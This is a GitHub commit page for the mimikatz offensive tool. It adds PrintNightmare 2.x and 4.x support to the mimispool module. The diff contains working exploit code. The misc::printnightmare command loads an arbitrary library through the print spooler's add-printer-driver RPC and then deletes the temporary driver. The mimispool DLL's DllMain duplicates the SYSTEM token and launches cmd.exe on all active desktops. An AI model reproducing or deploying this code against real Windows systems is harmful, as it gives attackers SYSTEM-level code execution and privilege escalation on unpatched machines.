Skip to content

Commit

Permalink
[new] mimispool module to support PrintNightmare 2.x and 4.x
Browse files Browse the repository at this point in the history
[new] mimispool module now try to pop SYSTEM cmd on all active desktops
[new] mimikatz misc::printnightmare try to clean temporary printer driver (not available by default on remote ones)
  • Loading branch information
gentilkiwi committed Jul 29, 2021
1 parent 2a5b839 commit 247da32
Show file tree
Hide file tree
Showing 7 changed files with 209 additions and 122 deletions.
84 changes: 56 additions & 28 deletions mimikatz/modules/kuhl_m_misc.c
Original file line number Diff line number Diff line change
Expand Up @@ -1658,7 +1658,7 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
DriverInfo.pEnvironment = bIsX64 ? L"Windows x64" : L"Windows NT x86";
if(kull_m_string_args_byName(argc, argv, L"library", &szLibrary, NULL))
{
if(kuhl_m_misc_printnightmare_normalize_library(szLibrary, &DriverInfo.pConfigFile, NULL))
if(kuhl_m_misc_printnightmare_normalize_library(bIsPar, szLibrary, &DriverInfo.pConfigFile, NULL))
{
szForce = kull_m_string_args_byName(argc, argv, L"useown", NULL, NULL) ? DriverInfo.pConfigFile : NULL;

Expand All @@ -1669,7 +1669,13 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
{
if(kuhl_m_misc_printnightmare_FillStructure(&DriverInfo, bIsX64, !kull_m_string_args_byName(argc, argv, L"nodynamic", NULL, NULL), szForce, bIsPar, hSpoolHandle))
{
kuhl_m_misc_printnightmare_AddPrinterDriver(bIsPar, hSpoolHandle, &DriverInfo, APD_COPY_FROM_DIRECTORY | APD_COPY_NEW_FILES | APD_INSTALL_WARNED_DRIVER);
if(kuhl_m_misc_printnightmare_AddPrinterDriver(bIsPar, hSpoolHandle, &DriverInfo, APD_COPY_FROM_DIRECTORY | APD_COPY_NEW_FILES | APD_INSTALL_WARNED_DRIVER))
{
if(!bIsPar) // we can't remotely with normal user, use /clean with > rights
{
kuhl_m_misc_printnightmare_DeletePrinterDriver(bIsPar, hSpoolHandle, DriverInfo.pEnvironment, DriverInfo.pName);
}
}

LocalFree(DriverInfo.pDataFile);
LocalFree(DriverInfo.pDriverPath);
Expand All @@ -1693,7 +1699,7 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
return STATUS_SUCCESS;
}

BOOL kuhl_m_misc_printnightmare_normalize_library(LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary)
BOOL kuhl_m_misc_printnightmare_normalize_library(BOOL bIsPar, LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary)
{
BOOL status = FALSE;
LPCWSTR szPtr;
Expand All @@ -1710,7 +1716,14 @@ BOOL kuhl_m_misc_printnightmare_normalize_library(LPCWSTR szLibrary, LPWSTR *psz
}
else
{
status = kull_m_string_copy(pszNormalizedLibrary, szLibrary);
if(!bIsPar)
{
status = kull_m_file_getAbsolutePathOf(szLibrary, pszNormalizedLibrary);
}
else
{
status = kull_m_string_copy(pszNormalizedLibrary, szLibrary);
}
}

if(status)
Expand Down Expand Up @@ -1811,7 +1824,7 @@ BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64

void kuhl_m_misc_printnightmare_ListPrintersAndMaybeDelete(BOOL bIsPar, handle_t hRemoteBinding, LPCWSTR szEnvironment, BOOL bIsDelete)
{
DWORD i, ret, cReturned = 0;
DWORD i, cReturned = 0;
_PDRIVER_INFO_2 pDriverInfo;
PWSTR pName, pConfig;

Expand All @@ -1828,28 +1841,7 @@ void kuhl_m_misc_printnightmare_ListPrintersAndMaybeDelete(BOOL bIsPar, handle_t
{
if(pName == wcsstr(pName, MIMIKATZ L"-"))
{
RpcTryExcept
{
if(bIsPar)
{
kprintf(L"> RpcAsyncDeletePrinterDriverEx: ");
ret = RpcAsyncDeletePrinterDriverEx(hRemoteBinding, NULL, (wchar_t *) szEnvironment, pName, DPD_DELETE_UNUSED_FILES, 0);
}
else
{
kprintf(L"> RpcDeletePrinterDriverEx: ");
ret = RpcDeletePrinterDriverEx(NULL, (wchar_t *) szEnvironment, pName, DPD_DELETE_UNUSED_FILES, 0);
}

if (ret == ERROR_SUCCESS)
{
kprintf(L"OK!\n");
}
else PRINT_ERROR(L"%u\n", ret);
}
RpcExcept(RPC_EXCEPTION)
PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
RpcEndExcept
kuhl_m_misc_printnightmare_DeletePrinterDriver(bIsPar, hRemoteBinding, szEnvironment, pName);
}
}
}
Expand All @@ -1858,8 +1850,9 @@ void kuhl_m_misc_printnightmare_ListPrintersAndMaybeDelete(BOOL bIsPar, handle_t
}
}

void kuhl_m_misc_printnightmare_AddPrinterDriver(BOOL bIsPar, handle_t hRemoteBinding, PDRIVER_INFO_2 pInfo2, DWORD dwFlags)
BOOL kuhl_m_misc_printnightmare_AddPrinterDriver(BOOL bIsPar, handle_t hRemoteBinding, PDRIVER_INFO_2 pInfo2, DWORD dwFlags)
{
BOOL status = FALSE;
DWORD ret;
DRIVER_CONTAINER container_info;

Expand All @@ -1882,13 +1875,48 @@ void kuhl_m_misc_printnightmare_AddPrinterDriver(BOOL bIsPar, handle_t hRemoteBi

if (ret == ERROR_SUCCESS)
{
status = TRUE;
kprintf(L"OK!\n");
}
else PRINT_ERROR(L"%u\n", ret);
}
RpcExcept(RPC_EXCEPTION)
PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
RpcEndExcept

return status;
}

BOOL kuhl_m_misc_printnightmare_DeletePrinterDriver(BOOL bIsPar, handle_t hRemoteBinding, LPCWSTR szEnvironment, LPCWSTR pName)
{
BOOL status = FALSE;
DWORD ret;

RpcTryExcept
{
if(bIsPar)
{
kprintf(L"> RpcAsyncDeletePrinterDriverEx: ");
ret = RpcAsyncDeletePrinterDriverEx(hRemoteBinding, NULL, (wchar_t *) szEnvironment, (wchar_t *) pName, DPD_DELETE_UNUSED_FILES, 0);
}
else
{
kprintf(L"> RpcDeletePrinterDriverEx: ");
ret = RpcDeletePrinterDriverEx(NULL, (wchar_t *) szEnvironment, (wchar_t *)pName, DPD_DELETE_UNUSED_FILES, 0);
}

if (ret == ERROR_SUCCESS)
{
status = TRUE;
kprintf(L"OK!\n");
}
else PRINT_ERROR(L"%u\n", ret);
}
RpcExcept(RPC_EXCEPTION)
PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
RpcEndExcept

return status;
}

BOOL kuhl_m_misc_printnightmare_EnumPrinters(BOOL bIsPar, handle_t hRemoteBinding, LPCWSTR szEnvironment, _PDRIVER_INFO_2 *ppDriverInfo, DWORD *pcReturned)
Expand Down
5 changes: 3 additions & 2 deletions mimikatz/modules/kuhl_m_misc.h
Original file line number Diff line number Diff line change
Expand Up @@ -51,10 +51,11 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]);

BOOL kuhl_m_misc_printnightmare_normalize_library(LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary);
BOOL kuhl_m_misc_printnightmare_normalize_library(BOOL bIsPar, LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary);
BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64, BOOL bIsDynamic, LPCWSTR szForce, BOOL bIsPar, handle_t hRemoteBinding);
void kuhl_m_misc_printnightmare_ListPrintersAndMaybeDelete(BOOL bIsPar, handle_t hRemoteBinding, LPCWSTR szEnvironment, BOOL bIsDelete);
void kuhl_m_misc_printnightmare_AddPrinterDriver(BOOL bIsPar, handle_t hRemoteBinding, PDRIVER_INFO_2 pInfo2, DWORD dwFlags);
BOOL kuhl_m_misc_printnightmare_AddPrinterDriver(BOOL bIsPar, handle_t hRemoteBinding, PDRIVER_INFO_2 pInfo2, DWORD dwFlags);
BOOL kuhl_m_misc_printnightmare_DeletePrinterDriver(BOOL bIsPar, handle_t hRemoteBinding, LPCWSTR szEnvironment, LPCWSTR pName);
BOOL kuhl_m_misc_printnightmare_EnumPrinters(BOOL bIsPar, handle_t hRemoteBinding, LPCWSTR szEnvironment, _PDRIVER_INFO_2 *ppDriverInfo, DWORD *pcReturned);

BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg);
Expand Down
157 changes: 88 additions & 69 deletions mimispool/mimispool.c
Original file line number Diff line number Diff line change
Expand Up @@ -5,48 +5,36 @@
*/
#include "mimispool.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
BOOL ret = TRUE;

switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
kspool(TEXT(__FUNCTION__) L"-PROCESS_ATTACH");
ret = FALSE;
// FALSE avoid to keep library in memory (PrintNightmare < 3/4)
// TRUE will mimic "real" driver/config -- to use/test with /useown on local (remote is not compatible with GetFileVersionInfo*)
break;

case DLL_THREAD_ATTACH:
kspool(TEXT(__FUNCTION__) L"-THREAD_ATTACH");
break;

case DLL_THREAD_DETACH:
kspool(TEXT(__FUNCTION__) L"-THREAD_DETACH");
break;

case DLL_PROCESS_DETACH:
kspool(TEXT(__FUNCTION__) L"-PROCESS_DETACH");
break;
}

return ret;
UNREFERENCED_PARAMETER(hinstDLL);
UNREFERENCED_PARAMETER(lpReserved);

if (fdwReason == DLL_PROCESS_ATTACH)
{
RunProcessForAll(L"cmd.exe");
}

return TRUE;
}

BOOL APIENTRY APIENTRY DrvQueryDriverInfo(DWORD dwMode, PVOID pBuffer, DWORD cbBuf, PDWORD pcbNeeded)
// PrintNightMare 2.x - via config file and/or "real driver"
VOID APIENTRY DrvResetConfigCache()
{
BOOL status = FALSE;
;
}

kspool(TEXT(__FUNCTION__));
BOOL APIENTRY DrvQueryDriverInfo(DWORD dwMode, PVOID pBuffer, DWORD cbBuf, PDWORD pcbNeeded)
{
BOOL status = FALSE;

if ( dwMode == DRVQUERY_USERMODE)
if (dwMode == DRVQUERY_USERMODE)
{
*pcbNeeded = sizeof(DWORD);
if (pBuffer && (cbBuf >= sizeof(DWORD)))
{
status = TRUE;
*(DWORD *)pBuffer = TRUE;
*(DWORD*)pBuffer = TRUE;
}
SetLastError(ERROR_INSUFFICIENT_BUFFER);
}
Expand All @@ -58,13 +46,11 @@ BOOL APIENTRY APIENTRY DrvQueryDriverInfo(DWORD dwMode, PVOID pBuffer, DWORD cbB
return status;
}

BOOL APIENTRY DrvEnableDriver(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA *pded)
BOOL APIENTRY DrvEnableDriver(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded)
{
BOOL status = FALSE;

kspool(TEXT(__FUNCTION__));

if((iEngineVersion < 0x20000) || (cj < 0x10))
if ((iEngineVersion < 0x20000) || (cj < 0x10))
{
SetLastError(ERROR_BAD_DRIVER_LEVEL);
}
Expand All @@ -81,50 +67,83 @@ BOOL APIENTRY DrvEnableDriver(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA *pde

VOID APIENTRY DrvDisableDriver()
{
kspool(TEXT(__FUNCTION__));
;
}

VOID APIENTRY DrvResetConfigCache()
// PrintNightMare 3.x - via "real packaged driver" - NOT included (need WHQL signature - or pre-approved Authenticode)

// PrintNightMare 4.x - via CopyFiles
DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags)
{
kspool(TEXT(__FUNCTION__));
UNREFERENCED_PARAMETER(pszPrinterName);
UNREFERENCED_PARAMETER(pszDirectory);
UNREFERENCED_PARAMETER(pSplClientInfo);
UNREFERENCED_PARAMETER(dwLevel);
UNREFERENCED_PARAMETER(pszSourceDir);
UNREFERENCED_PARAMETER(pcchSourceDirSize);
UNREFERENCED_PARAMETER(pszTargetDir);
UNREFERENCED_PARAMETER(pcchTargetDirSize);
UNREFERENCED_PARAMETER(dwFlags);

return ERROR_SUCCESS;
}

void kspool(LPCWSTR szFrom)
BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent)
{
FILE * kspool_logfile;
WCHAR Buffer[256 + 1];
DWORD cbBuffer = ARRAYSIZE(Buffer);

#pragma warning(push)
#pragma warning(disable:4996)
if(kspool_logfile = _wfopen(L"mimispool.log", L"a"))
#pragma warning(pop)
{
klog(kspool_logfile, L"[" PLATFORM L"] [%s] as \'%s\'\n", szFrom, GetUserName(Buffer, &cbBuffer) ? Buffer : L"-");
fclose(kspool_logfile);
}
UNREFERENCED_PARAMETER(pszPrinterName);
UNREFERENCED_PARAMETER(pszKey);
UNREFERENCED_PARAMETER(dwCopyFileEvent);

return TRUE;
}

void klog(FILE * logfile, PCWCHAR format, ...)
// Kiwi payload - SYSTEM on all active desktop(s)
BOOL RunProcessForAll(LPWSTR szProcess)
{
if(logfile)
BOOL status = FALSE;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
HANDLE hToken, hNewToken;
DWORD i, count;
LPVOID Environment;
PSESSIONIDW sessions;

si.cb = sizeof(si);
si.lpDesktop = L"winsta0\\default";

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
va_list args;
va_start(args, format);
vfwprintf(logfile, format, args);
va_end(args);
fflush(logfile);
if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hNewToken))
{
if (CreateEnvironmentBlock(&Environment, hNewToken, FALSE))
{
if (WinStationEnumerateW(SERVERHANDLE_CURRENT, &sessions, &count)) // cmd as SYSTEM for everyone
{
for (i = 0; i < count; i++)
{
if (sessions[i].State == State_Active)
{
if (SetTokenInformation(hNewToken, TokenSessionId, &sessions[i].SessionId, sizeof(sessions[i].SessionId)))
{
if (CreateProcessAsUser(hNewToken, szProcess, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, Environment, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}
}
}
if (sessions)
{
WinStationFreeMemory(sessions);
}
}
DestroyEnvironmentBlock(Environment);
}
CloseHandle(hNewToken);
}
CloseHandle(hToken);
}
}

DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags)
{
kspool(TEXT(__FUNCTION__));
return ERROR_SUCCESS;
}

BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent)
{
kspool(TEXT(__FUNCTION__));
return TRUE;
return status;
}
5 changes: 3 additions & 2 deletions mimispool/mimispool.def
Original file line number Diff line number Diff line change
@@ -1,10 +1,11 @@
LIBRARY
EXPORTS
; PrintNightMare 2.x - via config file and/or "real driver"
DrvResetConfigCache
DrvQueryDriverInfo
DrvEnableDriver
DrvDisableDriver

DrvResetConfigCache

; PrintNightMare 4.x - via CopyFiles
GenerateCopyFilePaths
SpoolerCopyFileEvent

0 comments on commit 247da32

Please sign in to comment.